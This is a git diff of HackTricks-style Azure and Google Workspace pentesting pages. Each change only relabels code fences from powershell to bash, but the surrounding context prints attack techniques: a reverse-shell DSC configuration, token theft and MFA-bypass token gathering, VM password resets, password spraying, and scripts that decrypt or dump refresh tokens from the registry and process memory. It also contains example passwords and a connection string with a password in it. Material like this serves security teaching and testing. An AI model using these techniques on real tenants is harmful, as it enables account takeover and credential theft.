Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
@@ -270,7 +270,7 @@ Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_she
The zipped configuration file is uploaded to a predefined Azure Storage container, azure-pentest, using Azure's Set-AzStorageBlobContent cmdlet.
```powershell
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```

View File

@@ -88,7 +88,7 @@ Policies often asks for a compliant device or MFA, so an **attacker could regist
Start by registering a **compliant device in Intune**, then **get the PRT** with:
```powershell
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
@@ -153,7 +153,7 @@ Donkey token is a set of functions which aim to help security consultants who ne
**Test each portal** if it's possible to **login without MFA**:
```powershell
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
@@ -162,14 +162,14 @@ Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested:
```powershell
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token:
```powershell
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```

View File

@@ -24,7 +24,7 @@ Get groups that allow Dynamic membership: **`az ad group list --query "[?contain
For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Unfortunately the page doesn't allow to modify the attribute values so we need to use the API:
```powershell
```bash
# Login with the gust user
az login --allow-no-subscriptions

View File

@@ -88,7 +88,7 @@ You could also execute other payloads like: `powershell net users new_user Welco
- Reset password using the VMAccess extension
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -105,7 +105,7 @@ It's also possible to abuse well-known extensions to execute code or perform pri
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -119,7 +119,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
```powershell
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {

View File

@@ -14,7 +14,7 @@ Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system
Then query the Azure REST API to get the **subscription ID** and more .
```powershell
```bash
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'

View File

@@ -31,7 +31,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup
{{#tab name="Az Powershell" }}
```powershell
```bash
# List all ACRs in your subscription
Get-AzContainerRegistry

View File

@@ -185,7 +185,7 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services

View File

@@ -21,7 +21,7 @@ It works like this:
## Enumeration
```powershell
```bash
# Enumerate applications with application proxy configured
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}

View File

@@ -14,7 +14,7 @@ If you can access it, you can have **info about resources** that are not present
Users with the permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can **read the deployment history**.
```powershell
```bash
Get-AzResourceGroup
Get-AzResourceGroupDeployment -ResourceGroupName <name>

View File

@@ -199,7 +199,7 @@ az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resourc
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
```
```powershell
```bash
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

View File

@@ -48,7 +48,7 @@ az ad user list --query-examples # Get examples
{{#tab name="Mg" }}
```powershell
```bash
# Login Open browser
Connect-MgGraph
@@ -77,7 +77,7 @@ Find-MgGraphCommand -command *Mg*
{{#tab name="Az PowerShell" }}
```powershell
```bash
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -111,7 +111,7 @@ Get-Command *az*
{{#tab name="Raw PS" }}
```powershell
```bash
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
@@ -146,7 +146,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01
{{#tab name="Azure AD" }}
```powershell
```bash
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -167,7 +167,7 @@ For example a **powershell script** that **authenticates** use an app with clien
However, there are **other client-ids** of applications that **will allow you to connect to Azure**:
```powershell
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
@@ -261,7 +261,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
@@ -301,7 +301,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Enumerate users
Get-AzADUser
# Get details of a user
@@ -318,7 +318,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
#### Change User Password
```powershell
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
@@ -343,7 +343,7 @@ For more information about Entra ID groups check:
{{#tabs }}
{{#tab name="az cli" }}
```powershell
```bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
@@ -374,7 +374,7 @@ az role assignment list --include-groups --include-classic-administrators true -
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
@@ -404,7 +404,7 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get all groups
Get-AzADGroup
# Get details of a group
@@ -425,7 +425,7 @@ Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
Owners of the group can add new users to the group
```powershell
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
@@ -469,7 +469,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti
{{#tab name="Azure AD" }}
```powershell
```bash
# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
@@ -492,7 +492,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
@@ -507,7 +507,7 @@ Get-AzRoleAssignment -ServicePrincipalName <String>
{{#tab name="Raw" }}
```powershell
```bash
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
@@ -530,7 +530,7 @@ $RequestParams = @{
<summary>List and try to add a client secret on each Enterprise App</summary>
```powershell
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
@@ -671,7 +671,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent
{{#tab name="Azure AD" }}
```powershell
```bash
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
@@ -686,7 +686,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
@@ -770,7 +770,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
@@ -784,7 +784,7 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
{{#tab name="Raw" }}
```powershell
```bash
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
@@ -860,7 +860,7 @@ az rest --method GET \
{{#tab name="Azure AD" }}
```powershell
```bash
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
@@ -891,7 +891,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl *
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
@@ -943,7 +943,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
{{#tab name="AzureAD" }}
```powershell
```bash
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>

View File

@@ -84,7 +84,7 @@ az cosmosdb sql user-defined-function list --account-name <AccountName> --contai
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosD
# List all Cosmos DB accounts in a specified resource group.
@@ -244,7 +244,7 @@ az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountNa
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosDB
# List all Cosmos DB accounts in a specified resource group.

View File

@@ -59,7 +59,7 @@ az storage file download-batch -d . --account-name <name> --source <share-name>
{{#tab name="Az PowerShell"}}
```powershell
```bash
Get-AzStorageAccount
# List File Shares
@@ -99,7 +99,7 @@ You need to replace the `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` and `<FILE-SHARE-NAM
{{#tabs}}
{{#tab name="Windows"}}
```powershell
```bash
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
if ($connectTestResult.TcpTestSucceeded) {
# Save the password so the drive will persist on reboot

View File

@@ -97,7 +97,7 @@ az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<Key
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get keyvault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

View File

@@ -52,7 +52,7 @@ az logic workflow identity show --name <LogicAppName> --resource-group <Resource
{{#tab name="Az PowerSHell" }}
```powershell
```bash
# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info

View File

@@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group <resource-group-name>
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.MySql
# Get all flexible servers in a resource group

View File

@@ -82,7 +82,7 @@ az postgres flexible-server server-logs list --resource-group <resource-group-na
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.PostgreSql
# List flexible-servers in a resource group

View File

@@ -169,7 +169,7 @@ az sql vm show --resource-group <res-grp> --name <name>
{{#tab name="Az PowerShell"}}
```powershell
```bash
# List Servers
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
@@ -214,7 +214,7 @@ Get-AzSqlVM
You could find a connection string (containing credentials) from example [enumerating an Az WebApp](az-app-services.md):
```powershell
```bash
function invoke-sql{
param($query)
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
@@ -235,7 +235,7 @@ invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
You can also use sqlcmd to access the database. It is important to know if the server allows public connections `az sql server show --name <server-name> --resource-group <resource-group>`, and also if it the firewall rule let's our IP to access:
```powershell
```bash
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
```

View File

@@ -343,7 +343,7 @@ az storage account local-user list \
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount | fl
# Get rules to access the storage account

View File

@@ -66,7 +66,7 @@ az storage entity merge \
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount

View File

@@ -11,7 +11,7 @@ Microsoft Intune is designed to streamline the process of **app and device manag
A user with **Global Administrator** or **Intune Administrator** role can execute **PowerShell** scripts on any **enrolled Windows** device.\
The **script** runs with **privileges** of **SYSTEM** on the device only once if it doesn't change, and from Intune it's **not possible to see the output** of the script.
```powershell
```bash
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
```

View File

@@ -67,7 +67,7 @@ az disk show --name <disk-name> --resource-group <rsc-group>
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List all disks
Get-AzDisk
@@ -123,7 +123,7 @@ az restore-point collection show --collection-name <collection-name> --resource-
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
@@ -191,7 +191,7 @@ az network bastion rdp \
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List bastions
Get-AzBastion
```
@@ -349,7 +349,7 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
az vm run-command list --output table
```
```powershell
```bash
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
@@ -467,7 +467,7 @@ az vm extension image list --publisher "Site24x7" --output table
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
```
@@ -550,7 +550,7 @@ You could also execute other payloads like: `powershell net users new_user Welco
- Reset password using the VMAccess extension
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -569,7 +569,7 @@ The required permission is still **`Microsoft.Compute/virtualMachines/extensions
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -583,7 +583,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
This is a **VM extension** that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
```powershell
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {

View File

@@ -38,7 +38,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VNets
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
@@ -82,7 +82,7 @@ az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --q
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List NSGs
Get-AzNetworkSecurityGroup | Select-Object Name, Location
Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
@@ -135,7 +135,7 @@ az network firewall nat-rule collection list --firewall-name <FirewallName> --re
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Firewalls
Get-AzFirewall
@@ -174,7 +174,7 @@ az network route-table route list --route-table-name <RouteTableName> --resource
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Route Tables
Get-AzRouteTable
@@ -214,7 +214,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Private Link Services
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
@@ -249,7 +249,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Virtual Networks with Service Endpoints
Get-AzVirtualNetwork
@@ -310,7 +310,7 @@ az network front-door waf-policy list --query "[].{name:name, resourceGroup:reso
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Front Door Instances
Get-AzFrontDoor
@@ -343,7 +343,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List the Web Application Firewall configurations for your Application Gateways
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
```
@@ -383,7 +383,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List all VNets in your subscription
Get-AzVirtualNetwork
@@ -421,7 +421,7 @@ az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
@@ -453,7 +453,7 @@ az network express-route list --query "[].{name:name, location:location, resourc
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List ExpressRoute Circuits
Get-AzExpressRouteCircuit
```

View File

@@ -18,7 +18,7 @@ You can query directly the API or use the PowerShell library [**AADInternals**](
You can query all the information of an Azure tenant with **just one command of the** [**AADInternals**](https://github.com/Gerenios/AADInternals) **library**:
```powershell
```bash
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
```
@@ -54,7 +54,7 @@ The email is users email address where at “@” is replaced with underscore
With [**AADInternals**](https://github.com/Gerenios/AADInternals), you can easily check if the user exists or not:
```powershell
```bash
# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
```
@@ -78,7 +78,7 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com
external.user_outlook.com#EXT#@company.onmicrosoft.com
```
```powershell
```bash
# Invoke user enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
```
@@ -93,13 +93,13 @@ There are **three different enumeration methods** to choose from:
After discovering the valid usernames you can get **info about a user** with:
```powershell
```bash
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
```
The script [**o365creeper**](https://github.com/LMGsec/o365creeper) also allows you to discover **if an email is valid**.
```powershell
```bash
# Put in emails.txt emails such as:
# - root@corp.onmicrosoft.com
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
@@ -198,7 +198,7 @@ Know that we know the **domains the Azure tenant** is using is time to try to fi
You can use a method from [**MicroBust**](https://github.com/NetSPI/MicroBurst) for such goal. This function will search the base domain name (and a few permutations) in several **azure service domains:**
```powershell
```bash
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
```
@@ -207,7 +207,7 @@ Invoke-EnumerateAzureSubDomains -Base corp -Verbose
You could discover open storage with a tool such as [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) which will use the file **`Microburst/Misc/permitations.txt`** to generate permutations (very simple) to try to **find open storage accounts**.
```powershell
```bash
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base corp
[...]

View File

@@ -10,7 +10,7 @@ However, note that this technique is **very noisy** and Blue Team can **easily c
You can perform a password spray attack with [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
```powershell
```bash
. .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
```
@@ -23,7 +23,7 @@ python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lo
Or with [**MailSniper**](https://github.com/dafthack/MailSniper)
```powershell
```bash
#OWA
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
#EWS

View File

@@ -397,7 +397,7 @@ storage:
Discover the most privileged users in the scanned AWS or Azure environment, including the AWS Shadow Admins. It uses powershell.
```powershell
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth

View File

@@ -57,7 +57,7 @@ Note how the **refresh** **token** and the **password** of the user are **encryp
<summary>Powershell script to decrypt the refresh token and the password</summary>
```powershell
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -167,7 +167,7 @@ I guess you could also find the AD configured credentials.
<summary>Dump config-manager.exe processes and search tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"

View File

@@ -43,7 +43,7 @@ Moreover adding the keys `enable_verbose_logging = 1` and `log_file_path = C:\Pu
It's possible to check if GCPW is installed in a device checking if the following process exist or if the following registry keys exist:
```powershell
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -116,7 +116,7 @@ Inside the registry **`HKCU:\SOFTWARE\Google\Accounts`** it might be possible to
<summary>Get <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> data and decrypt refresh_tokens</summary>
```powershell
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -198,7 +198,7 @@ The following script can be used to **dump** every **Chrome** process using `pro
<summary>Dump Chrome processes and search tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"

View File

@@ -53,7 +53,7 @@ I guess you could also find the AD configured credentials.
<summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"